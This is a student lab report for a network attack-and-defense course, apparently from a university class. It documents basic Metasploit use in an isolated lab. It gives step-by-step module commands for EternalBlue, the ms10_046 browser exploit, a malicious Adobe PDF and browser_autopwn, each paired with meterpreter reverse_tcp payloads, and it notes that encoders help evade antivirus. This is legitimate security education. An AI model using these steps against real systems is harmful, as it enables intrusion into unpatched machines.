2019-2020-2 20175305张天钰《网络对抗技术》Exp6 MSF基础应用
2019-2020-2 20175305张天钰《网络对抗技术》Exp6 MSF基础应用
一、实践目标:
掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。
二、实践内容:
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成
- 一个主动攻击实践
- 一个针对浏览器的攻击
- 一个针对客户端的攻击
- 成功应用任何一个辅助模块。
知识小结
MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
MSF的六个模块
- 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
- 辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
- 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
- 空字段模块Nop Modules
- 编码模块Encoders
- 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行
MSF的三种用户操作界面
- msfconsole
- 查看模块的具体信息info
[exploits|auxiliary|post|payloads|encoders|nops]
- 查看设置信息
show [options]
- 查看攻击目标类型
show [target]
- 查找命令
search
- 查找2018年产生的在windows平台下的漏洞
search ms18(或CNE:2018) type:exploit platform:windows
- armitage
- 启动服务器
service postgresql start
- 启动
armitagearmitage
- webgui
MSF常用漏洞利用命令
search name
:用指定关键字搜索可以利用的漏洞模块
use exploit name
:使用漏洞
show options
:显示配置选项
set option name option
:设置选项
show payloads
:回链攻击载荷
show targets
: 显示目标(os版本)
set TARGET target number
:设置目标版本
exploit
:开始漏洞攻击
sessions -l
:列出会话
sessions -i id
:选择会话
sessions -k id
:结束会话
Ctrl+z
:把会话放到后台
Ctrl+c
:结束会话
show auxiliary
:显示辅助模块
use auxiliary name
:使用辅助模块
set option name option
:设置选项
exploit
:运行模块
三、实践内容及步骤
任务一:主动攻击的实践
ms17_010
靶机: Windows Server 2008 R2 (x64)
在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
使用ms17_010模块: msf > use exploit/windows/smb/ms17_010_eternalblue
设置payload:payload windows/x64/meterpreter/reverse_tcp
设置ip地址 set lhost +攻击机ip地址 、set rhost +靶机ip地址
输入exploit进行攻击:
攻击成功:
任务二:攻击浏览器的实践
1.ms13-008
在攻击机kali输入msfconsole进入控制台
使用ms10_046模块
set SRVHOST +攻击机ip
设置payload ,tcp反向回连
set LHOST +攻击机ip:
2.ms10-046
在攻击机kali输入msfconsole进入控制台
使用ms10_046模块
set SRVHOST +攻击机ip
设置payload ,tcp反向回连
set LHOST +攻击机ip:
exploit 攻击
靶机访问url链接,弹出对话框点击“允许”,会弹出一个攻击者IP的目录,其中有一个“快捷方式”的图标,双击快捷方式,攻击机方显示成功建立会话。
使用sessions -i 1选择会话,攻击成功:
任务三:攻击客户端的实践
1.adobe_toolbutton
靶机:Windows XP
使用adobe_toolbutton模块:use exploit/windows/fileformat/adobe_toolbutton;
生成攻击文件msf.pdf:
将文件传给靶机;
输入back返回;
设置监听程序use exploit/multi/handler;
设置payload set payload windows/meterpreter/reverse_tcp:
设置攻击机IP 地址;
输入run进行攻击;
当靶机用Adobe Reader 9 打开msf文件时,攻击成功。
任务四:成功应用任何一个辅助模块
browser autopwn
靶机:IE 8 on Windows XP SP3
•输入use auxiliary/server/browser_autopwn
•设置 payload:
设置攻击机端口号
设置set LHOST 192.168.1.107
设置URIPATH:
输入exploit进行攻击
靶机用浏览器打开url链接
输入 session -i 1成功获得权限
四、基础问题回答
用自己的话解释什么是exploit,payload,encode.
- exploit:利用漏洞,将真正要负责攻击的代码传送到靶机中。
- payload:载荷,实际上就是之前我们实验中做到的shellcode,exploit把它传送到靶机中后,它就负责执行相应的攻击代码。Skoudis在他的《决战恶意代码》中这样写道,病毒通常会做一些有害的或者恶性的动作。在病毒代码中实现这个功能的部分叫做“有效负载”(payload)。payload可以实现任何运行在受害者环境中的程序所能做的事情,并且能够执行动作包括破坏文件删除文件,向病毒的作者或者任意的接收者发送敏感信息,以及提供通向被感染计算机的后门。
- encode:编码,主要是为了避免之前的payload中出现坏字符,从而影响payload的功能,其次是为了实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。
五、离实战还缺些什么技术或步骤
对信息的收集:meterpreter里面很多漏洞都已经是比较早之前的了,大多数有攻击价值的靶机都已经给有关漏洞打上补丁了,现实中不可能轻易利用这些漏洞攻击,所以需要获取最新漏洞情报。
meterpreter虽然提供了很多payload,但是功能都已经固定,要是能自己编写实现特定功能的payload,这样的攻击会更有针对性。
大多数攻击都要关闭防火墙,但是实战中一般不会关掉防火墙,如何绕开防火墙也是重点
六、实验总结与体会
这次动手实验让我对msf的攻击又有了新的认识,深切的体会到了补丁的重要性,自己电脑上一定要打好补丁。而且不要轻易打开来源不明的文档文件等等,可能是携带后门程序的恶意文件。还有就是要定期更新软件,各个软件的更新可能会包含补丁的升级,让电脑更加安全。
不过体会了一把当黑客的感觉还是很爽的!